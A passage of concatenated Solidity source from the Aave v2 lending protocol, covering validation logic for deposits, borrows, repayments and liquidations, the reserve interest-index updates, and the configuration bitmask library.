ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {Helpers} from '../helpers/Helpers.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 4000; uint256 public constant REBALANCE_UP_USAGE_RATIO_THRESHOLD = 0.95 * 1e27; //usage ratio of 95% /** * @dev Validates a deposit action * @param reserve The reserve object on which the user is depositing * @param amount The amount to be deposited */ function validateDeposit(DataTypes.ReserveData storage reserve, uint256 amount) external view { (bool isActive, bool isFrozen, , ) = reserve.configuration.getFlags(); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); } /** * @dev Validates a withdraw action * @param reserveAddress The address of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user * @param reservesData The reserves state * @param userConfig The user configuration * @param reserves The addresses of the reserves * @param reservesCount The number of reserves * @param oracle The price oracle */ function validateWithdraw( address reserveAddress, uint256 amount, uint256 userBalance, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { require(amount != 0, Errors.VL_INVALID_AMOUNT); require(amount <= userBalance, Errors.VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE); (bool isActive, , , ) = reservesData[reserveAddress].configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require( GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, amount, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_TRANSFER_NOT_ALLOWED ); } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 currentLiquidationThreshold; uint256 amountOfCollateralNeededETH; uint256 userCollateralBalanceETH; uint256 userBorrowBalanceETH; uint256 availableLiquidity; uint256 healthFactor; bool isActive; bool isFrozen; bool borrowingEnabled; bool stableRateBorrowingEnabled; } /** * @dev Validates a borrow action * @param asset The address of the asset to borrow * @param reserve The reserve state from which the user is borrowing * @param userAddress The address of the user * @param amount The amount to be borrowed * @param amountInETH The amount to be borrowed, in ETH * @param interestRateMode The interest rate mode at which the user is borrowing * @param maxStableLoanPercent The max amount of the liquidity that can be borrowed at stable rate, in percentage * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateBorrow( address asset, DataTypes.ReserveData storage reserve, address userAddress, uint256 amount, uint256 amountInETH, uint256 interestRateMode, uint256 maxStableLoanPercent, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { ValidateBorrowLocalVars memory vars; (vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled) = reserve .configuration .getFlags(); require(vars.isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!vars.isFrozen, Errors.VL_RESERVE_FROZEN); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(vars.borrowingEnabled, Errors.VL_BORROWING_NOT_ENABLED); //validate interest rate mode require( uint256(DataTypes.InterestRateMode.VARIABLE) == interestRateMode || uint256(DataTypes.InterestRateMode.STABLE) == interestRateMode, Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED ); ( vars.userCollateralBalanceETH, vars.userBorrowBalanceETH, vars.currentLtv, vars.currentLiquidationThreshold, vars.healthFactor ) = GenericLogic.calculateUserAccountData( userAddress, reservesData, userConfig, reserves, reservesCount, oracle ); require(vars.userCollateralBalanceETH > 0, Errors.VL_COLLATERAL_BALANCE_IS_0); require( vars.healthFactor > GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.amountOfCollateralNeededETH = vars.userBorrowBalanceETH.add(amountInETH).percentDiv( vars.currentLtv ); //LTV is calculated in percentage require( vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH, Errors.VL_COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity **/ if (interestRateMode == uint256(DataTypes.InterestRateMode.STABLE)) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || amount > IERC20(reserve.aTokenAddress).balanceOf(userAddress), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(asset).balanceOf(reserve.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(maxStableLoanPercent); require(amount <= maxLoanSizeStable, Errors.VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } } /** * @dev Validates a repay action * @param reserve The reserve state from which the user is repaying * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveData storage reserve, uint256 amountSent, DataTypes.InterestRateMode rateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) external view { bool isActive = reserve.configuration.getActive(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(amountSent > 0, Errors.VL_INVALID_AMOUNT); require( (stableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE) || (variableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.VARIABLE), Errors.VL_NO_DEBT_OF_SELECTED_TYPE ); require( amountSent != uint256(-1) || msg.sender == onBehalfOf, Errors.VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF ); } /** * @dev Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the borrow */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) external view { (bool isActive, bool isFrozen, , bool stableRateEnabled) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); if (currentRateMode == DataTypes.InterestRateMode.STABLE) { require(stableDebt > 0, Errors.VL_NO_STABLE_RATE_LOAN_IN_RESERVE); } else if (currentRateMode == DataTypes.InterestRateMode.VARIABLE) { require(variableDebt > 0, Errors.VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE); /** * user wants to swap to stable, before swapping we need to ensure that * 1. stable borrow rate is enabled on the reserve * 2. user is not trying to abuse the reserve by depositing * more collateral than he is borrowing, artificially lowering * the interest rate, borrowing at variable, and switching to stable **/ require(stableRateEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || stableDebt.add(variableDebt) > IERC20(reserve.aTokenAddress).balanceOf(msg.sender), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); } else { revert(Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED); } } /** * @dev Validates a stable borrow rate rebalance action * @param reserve The reserve state on which the user is getting rebalanced * @param reserveAddress The address of the reserve * @param stableDebtToken The stable debt token instance * @param variableDebtToken The variable debt token instance * @param aTokenAddress The address of the aToken contract */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, address reserveAddress, IERC20 stableDebtToken, IERC20 variableDebtToken, address aTokenAddress ) external view { (bool isActive, , , ) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); //if the usage ratio is below 95%, no rebalances are needed uint256 totalDebt = stableDebtToken.totalSupply().add(variableDebtToken.totalSupply()).wadToRay(); uint256 availableLiquidity = IERC20(reserveAddress).balanceOf(aTokenAddress).wadToRay(); uint256 usageRatio = totalDebt == 0 ? 0 : totalDebt.rayDiv(availableLiquidity.add(totalDebt)); //if the liquidity rate is below REBALANCE_UP_THRESHOLD of the max variable APR at 95% usage, //then we allow rebalancing of the stable rate positions. uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 maxVariableBorrowRate = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).getMaxVariableBorrowRate(); require( usageRatio >= REBALANCE_UP_USAGE_RATIO_THRESHOLD && currentLiquidityRate <= maxVariableBorrowRate.percentMul(REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD), Errors.LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET ); } /** * @dev Validates the action of setting an asset as collateral * @param reserve The state of the reserve that the user is enabling or disabling as collateral * @param reserveAddress The address of the reserve * @param reservesData The data of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateSetUseReserveAsCollateral( DataTypes.ReserveData storage reserve, address reserveAddress, bool useAsCollateral, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { uint256 underlyingBalance = IERC20(reserve.aTokenAddress).balanceOf(msg.sender); require(underlyingBalance > 0, Errors.VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0); require( useAsCollateral || GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, underlyingBalance, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_DEPOSIT_ALREADY_IN_USE ); } /** * @dev Validates a flashloan action * @param assets The assets being flashborrowed * @param amounts The amounts for each asset being borrowed **/ function validateFlashloan(address[] memory assets, uint256[] memory amounts) internal pure { require(assets.length == amounts.length, Errors.VL_INCONSISTENT_FLASHLOAN_PARAMS); } /** * @dev Validates the liquidation action * @param collateralReserve The reserve data of the collateral * @param principalReserve The reserve data of the principal * @param userConfig The user configuration * @param userHealthFactor The user's health factor * @param userStableDebt Total stable debt balance of the user * @param userVariableDebt Total variable debt balance of the user **/ function validateLiquidationCall( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage principalReserve, DataTypes.UserConfigurationMap storage userConfig, uint256 userHealthFactor, uint256 userStableDebt, uint256 userVariableDebt ) internal view returns (uint256, string memory) { if ( !collateralReserve.configuration.getActive() || !principalReserve.configuration.getActive() ) { return ( uint256(Errors.CollateralManagerErrors.NO_ACTIVE_RESERVE), Errors.VL_NO_ACTIVE_RESERVE ); } if (userHealthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD) { return ( uint256(Errors.CollateralManagerErrors.HEALTH_FACTOR_ABOVE_THRESHOLD), Errors.LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); } bool isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() > 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated if (!isCollateralEnabled) { return ( uint256(Errors.CollateralManagerErrors.COLLATERAL_CANNOT_BE_LIQUIDATED), Errors.LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED ); } if (userStableDebt == 0 && userVariableDebt == 0) { return ( uint256(Errors.CollateralManagerErrors.CURRRENCY_NOT_BORROWED), Errors.LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER ); } return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } /** * @dev Validates an aToken transfer * @param from The user from which the aTokens are being transferred * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateTransfer( address from, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view { (, , , , uint256 healthFactor) = GenericLogic.calculateUserAccountData( from, reservesData, userConfig, reserves, reservesCount, oracle ); require( healthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_TRANSFER_NOT_ALLOWED ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; contract LendingPoolStorage { using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; ILendingPoolAddressesProvider internal _addressesProvider; mapping(address => DataTypes.ReserveData) internal _reserves; mapping(address => DataTypes.UserConfigurationMap) internal _usersConfig; // the list of the available reserves, structured as a mapping for gas savings reasons mapping(uint256 => address) internal _reservesList; uint256 internal _reservesCount; bool internal _paused; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../../interfaces/IVariableDebtToken.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {MathUtils} from '../math/MathUtils.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements the logic to update the reserves state */ library ReserveLogic { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; /** * @dev Emitted when the state of a reserve is updated * @param asset The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed asset, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; /** * @dev Returns the ongoing normalized income for the reserve * A value of 1e27 means there is no income. As time passes, the income is accrued * A value of 2*1e27 means for each unit of asset one unit of income has been accrued * @param reserve The reserve object * @return the normalized income. expressed in ray **/ function getNormalizedIncome(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.liquidityIndex; } uint256 cumulated = MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul( reserve.liquidityIndex ); return cumulated; } /** * @dev Returns the ongoing normalized variable debt for the reserve * A value of 1e27 means there is no debt. As time passes, the income is accrued * A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated * @param reserve The reserve object * @return The normalized variable debt. expressed in ray **/ function getNormalizedDebt(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.variableBorrowIndex; } uint256 cumulated = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul( reserve.variableBorrowIndex ); return cumulated; } /** * @dev Updates the liquidity cumulative index and the variable borrow index. * @param reserve the reserve object **/ function updateState(DataTypes.ReserveData storage reserve) internal { uint256 scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply(); uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex; uint256 previousLiquidityIndex = reserve.liquidityIndex; uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp; (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) = _updateIndexes( reserve, scaledVariableDebt, previousLiquidityIndex, previousVariableBorrowIndex, lastUpdatedTimestamp ); _mintToTreasury( reserve, scaledVariableDebt, previousVariableBorrowIndex, newLiquidityIndex, newVariableBorrowIndex, lastUpdatedTimestamp ); } /** * @dev Accumulates a predefined amount of asset to the reserve as a fixed, instantaneous income. Used for example to accumulate * the flashloan fee to the reserve, and spread it between all the depositors * @param reserve The reserve object * @param totalLiquidity The total liquidity available in the reserve * @param amount The amount to accomulate **/ function cumulateToLiquidityIndex( DataTypes.ReserveData storage reserve, uint256 totalLiquidity, uint256 amount ) internal { uint256 amountToLiquidityRatio = amount.wadToRay().rayDiv(totalLiquidity.wadToRay()); uint256 result = amountToLiquidityRatio.add(WadRayMath.ray()); result = result.rayMul(reserve.liquidityIndex); require(result <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(result); } /** * @dev Initializes a reserve * @param reserve The reserve object * @param aTokenAddress The address of the overlying atoken contract * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function init( DataTypes.ReserveData storage reserve, address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, address interestRateStrategyAddress ) external { require(reserve.aTokenAddress == address(0), Errors.RL_RESERVE_ALREADY_INITIALIZED); reserve.liquidityIndex = uint128(WadRayMath.ray()); reserve.variableBorrowIndex = uint128(WadRayMath.ray()); reserve.aTokenAddress = aTokenAddress; reserve.stableDebtTokenAddress = stableDebtTokenAddress; reserve.variableDebtTokenAddress = variableDebtTokenAddress; reserve.interestRateStrategyAddress = interestRateStrategyAddress; } struct UpdateInterestRatesLocalVars { address stableDebtTokenAddress; uint256 availableLiquidity; uint256 totalStableDebt; uint256 newLiquidityRate; uint256 newStableRate; uint256 newVariableRate; uint256 avgStableRate; uint256 totalVariableDebt; } /** * @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate * @param reserve The address of the reserve to be updated * @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action * @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow) **/ function updateInterestRates( DataTypes.ReserveData storage reserve, address reserveAddress, address aTokenAddress, uint256 liquidityAdded, uint256 liquidityTaken ) internal { UpdateInterestRatesLocalVars memory vars; vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress; (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); //calculates the total variable debt locally using the scaled total supply instead //of totalSupply(), as it's noticeably cheaper. Also, the index has been //updated by the previous updateState() call vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex); vars.availableLiquidity = IERC20(reserveAddress).balanceOf(aTokenAddress); ( vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates( reserveAddress, vars.availableLiquidity.add(liquidityAdded).sub(liquidityTaken), vars.totalStableDebt, vars.totalVariableDebt, vars.avgStableRate, reserve.configuration.getReserveFactor() ); require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW); require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW); require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW); reserve.currentLiquidityRate = uint128(vars.newLiquidityRate); reserve.currentStableBorrowRate = uint128(vars.newStableRate); reserve.currentVariableBorrowRate = uint128(vars.newVariableRate); emit ReserveDataUpdated( reserveAddress, vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate, reserve.liquidityIndex, reserve.variableBorrowIndex ); } struct MintToTreasuryLocalVars { uint256 currentStableDebt; uint256 principalStableDebt; uint256 previousStableDebt; uint256 currentVariableDebt; uint256 previousVariableDebt; uint256 avgStableRate; uint256 cumulatedStableInterest; uint256 totalDebtAccrued; uint256 amountToMint; uint256 reserveFactor; uint40 stableSupplyUpdatedTimestamp; } /** * @dev Mints part of the repaid interest to the reserve treasury as a function of the reserveFactor for the * specific asset. * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The current scaled total variable debt * @param previousVariableBorrowIndex The variable borrow index before the last accumulation of the interest * @param newLiquidityIndex The new liquidity index * @param newVariableBorrowIndex The variable borrow index after the last accumulation of the interest **/ function _mintToTreasury( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 previousVariableBorrowIndex, uint256 newLiquidityIndex, uint256 newVariableBorrowIndex, uint40 timestamp ) internal { MintToTreasuryLocalVars memory vars; vars.reserveFactor = reserve.configuration.getReserveFactor(); if (vars.reserveFactor == 0) { return; } //fetching the principal, total stable debt and the avg stable rate ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData(); //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex); //calculate the stable debt until the last timestamp update vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest); //debt accrued is the sum of the current debt minus the sum of the debt at the last update vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt); vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); } } /** * @dev Updates the reserve indexes and the timestamp of the update * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The scaled variable debt * @param liquidityIndex The last stored liquidity index * @param variableBorrowIndex The last stored variable borrow index **/ function _updateIndexes( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 timestamp ) internal returns (uint256, uint256) { uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 newLiquidityIndex = liquidityIndex; uint256 newVariableBorrowIndex = variableBorrowIndex; //only cumulating if there is any income being produced if (currentLiquidityRate > 0) { uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(newLiquidityIndex); //as the liquidity rate might come only from stable rate loans, we need to ensure //that there is actual variable debt before accumulating if (scaledVariableDebt != 0) { uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW ); reserve.variableBorrowIndex = uint128(newVariableBorrowIndex); } } //solium-disable-next-line reserve.lastUpdateTimestamp = uint40(block.timestamp); return (newLiquidityIndex, newVariableBorrowIndex); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */ library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore uint256 constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore /// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16; uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32; uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48; uint256 constant IS_ACTIVE_START_BIT_POSITION = 56; uint256 constant IS_FROZEN_START_BIT_POSITION = 57; uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58; uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59; uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64; uint256 constant MAX_VALID_LTV = 65535; uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535; uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535; uint256 constant MAX_VALID_DECIMALS = 255; uint256 constant MAX_VALID_RESERVE_FACTOR = 65535; /** * @dev Sets the Loan to Value of the reserve * @param self The reserve configuration * @param ltv the new ltv **/ function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV); self.data = (self.data & LTV_MASK) | ltv; } /** * @dev Gets the Loan to Value of the reserve * @param self The reserve configuration * @return The loan to value **/ function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return self.data & ~LTV_MASK; } /** * @dev Sets the liquidation threshold of the reserve * @param self The reserve configuration * @param threshold The new liquidation threshold **/ function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold) internal pure { require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD); self.data = (self.data & 